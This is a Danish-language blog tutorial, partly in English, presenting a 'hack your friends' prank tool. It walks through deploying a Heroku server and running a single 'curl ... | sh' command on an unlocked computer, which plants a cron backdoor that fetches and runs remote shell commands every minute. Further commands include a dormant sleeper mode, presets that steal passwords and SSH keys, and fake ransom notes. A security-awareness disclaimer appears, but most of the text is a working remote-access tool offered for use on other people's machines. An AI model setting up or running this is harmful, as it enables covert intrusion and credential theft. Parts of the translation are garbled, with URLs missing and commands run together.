Sådan hackes dine venner

Mine venner lader ofte deres computere være åbne og ulåste. Jeg fortæller dem, at de sandsynligvis skulle have for vane at låse deres computere, men de lytter ikke til mig. Så jeg har oprettet et simpelt projekt for at hacke mine venner og vise dem vigtigheden af ​​computersikkerhed.

Alt hvad jeg skal gøre er at vente på, at de lader deres computer være ulåst i et par sekunder, åbner deres terminal og skriver en enkelt, kort kommando.

Det er det! Deres computer er nu inficeret, og jeg kan køre de kommandoer, jeg ønsker, på denne computer eksternt. Temmelig sød, ikke? Eller måske chokerende?

Hacking er ulovligt. Specifikt:

“Forsætligt at få adgang til en computer uden tilladelse eller overstige [at] autoriseret adgang” - Computersvindel og misbrugsloven (18 USC 1030)

Så husk at formålet med denne artikel er at vise dig, hvor let det ville være for en person med dårlige intentioner at hacke dig, så du kan undgå at blive hacket selv.

Det tager ikke noget hackergeni at ødelægge dit liv - ethvert “script kiddy”, der kan få fysisk adgang til din computer, kan kompromittere dig ved at downloade et script, der kun indeholder 50 linjer med kode.

Sådan får du opsætning

Al koden til dette projekt lever i dette lager, hvis du vil springe lige ind, men jeg forklarer, hvordan det hele fungerer nedenfor.

For det første skal du bare klone repoen, installere dens afhængigheder og sammenkæde CLI-værktøjet ( hack command line interface).

git clone //github.com/ccorcos/hack.gitgit remote remove origincd hacknpm installnpm link

Dernæst skal du konfigurere Heroku til at være vært for de scripts, der kører på din venners maskine. Hvis du aldrig har brugt Heroku før, skal du tilmelde dig her (det er gratis!) Og oprette deres CLI-værktøj på din maskine.

brew install heroku-toolbeltheroku login

Nu inde i hack repo skal du oprette en Heroku-app med et let navn at huske. Jeg bruger hacker-chet.

heroku create hacker-chet

Derefter skal du køre en kommando for at lave en lille opsætning. Alt, hvad det virkelig gør, er at få rod url til dit Heroku-websted og lægge det i din pakke.json . På denne måde kan serveren indsprøjte app-url'en i shell-scripts.

npm run init

Du kan starte serveren lokalt, hvis du vil hacke dig selv og teste tingene.

npm start

Eller du kan distribuere til Heroku.

npm run deploy

Nu er du klar til at hacke!

Hack API

Skønheden ved dette program er, at for at begynde at hacke nogen, skal du bare køre en enkelt kommando på deres maskine.

curl /hack | sh

ROOT_URL er den specifikke sti til din ansøgning. Når du kører serveren lokalt, vil dette være localhost: 5000, og når du distribuerer til Heroku, vil det være noget lignende .herokua pp.com.

Hvad dette gør er at oprette et cron-job - et "kronologisk job", der kører opgaver på bestemte tidspunkter - til at pinge / env / live- slutpunktet hvert minut og pibe resultatet til sh . Det er faktisk ret simpelt! Og Heroku giver dig HTTPS gratis, så det er "sikkert", ikke?

Når du har hacket din ven, kan du gøre alt andet med kommandolinjeværktøjet fra din computer.

Den hack værktøj har et koncept med forskellige hackede miljøer. Når du hacker nogen ved hjælp af / hack slutpunktet, starter den person i det levende miljø. Og for hvert miljø kan du køre en række forskellige kommandoer. Jeg demonstrerer alt med en lille gennemgang.

Det følgende omskriver shell-miljøet til live- miljøet for at udføre følgende kommando, der siger højt "Jeg holder øje med dig."

hack live exec "say 'I\'m watching you'"

Nå, det fungerer ikke endnu, du er stadig nødt til at geninstallere til din Heroku-app.

hack deploy

Vent nu til det næste øjeblik, og se din vens computer pinge din server ved at skræddersy serverloggene.

hack logs

Hele pointen med miljøer er, så du kan hacke flere mennesker på samme tid. For at isolere mennesker i forskellige miljøer skal du bare ændre navnet.

hack live rename jon

Næste gang live-miljøet pinges, omskriver det cron-jobbet for i stedet at pinge jon- miljøet.

Du kan gøre alt det samme bare ved at ændre miljøargumentet.

hack jon exec "say 'hello jon'"

Hvis du nu har haft det sjovt nok for dagen, og festen er slut, kan du glemme Jon og forsikre ham om, at du har “frigjort” ham.

hack jon forget

Dette sletter cron-jobbet fra deres computer. Eller du vil måske bare sætte dette miljø i sovende-celletilstand, så du kan gendanne det senere.

hack jon interval 1d

Now, rather than pinging your server every minute (the default), it will ping every day at midnight. And when you want to wake it back up, you can change the interval back to every minute and the next day, you’re good to go!

hack jon interval 1m

Some other fun things to do are setting up additional cron jobs. Here’s how you can wake your friend up at 6am every morning to remind him about computer security.

hack jon cron "0 6 * * * say 'good morning jon, remember what I told you about locking your computer?'"

P.S. If you don’t remember how cron jobs work, this is a great resource. It pretty much all comes down to this little diagram.

* * * * *| | | | || | | | || | | | +---- Day of the Week (range: 1-7, 1 standing for Monday)| | | +------ Month of the Year (range: 1-12)| | +-------- Day of the Month (range: 1-31)| +---------- Hour (range: 0-23)+------------ Minute (range: 0-59)

One of my favorites is the desktop preset which will download an image from a given URL and set it as the background photo.

hack jon preset desktop //i.imgur.com/5FC2r9R.jpg

And if you’ve written a ton of cron jobs and you don’t know what’s on there anymore, you can use the dump command.

hack jon dump "crontab -l"

Pisk nu dine logs op, og du vil se output på næste ping. Dette er faktisk meget mere uhyggeligt nu, hvor du kan få oplysninger tilbage. Hvis du ville være mere skændig, kan du søge efter dekrypterede adgangskoder eller stjæle deres ssh-nøgler.

hack jon preset passwordshack jon preset ssh

Men hvis du bare vil give ham en god gammeldags skræmme, send ham en løsesumbesked!

hack jon preset ransom "Hello Jon, I told you not to leave your computer unlocked."

Endelig, hvis du finder dig selv at tilføje en masse cron-job og bare vil starte forfra, er nulstilling her for at hjælpe.

hack jon reset

Gå nu med (ansvarlig) sjov med denne ting, og lad mig vide, hvad dine yndlingspranks er ved at indsende en pull-anmodning med en ny kommando eller forudindstilling!

Glad hacking!